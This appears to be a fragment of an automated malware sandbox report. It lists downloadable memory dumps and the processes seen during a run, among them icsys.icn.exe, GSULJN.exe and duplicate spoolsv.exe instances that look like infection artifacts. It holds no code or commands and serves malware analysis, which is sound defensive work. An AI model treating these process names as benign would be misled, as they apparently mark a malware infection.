memory/2028-44-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4684-91-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4956-94-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download

pid	process
860	GSULJN.exe
1228	gsuljn.exe
2028	icsys.icn.exe
1380	explorer.exe
4956	spoolsv.exe
4244	svchost.exe
4684	spoolsv.exe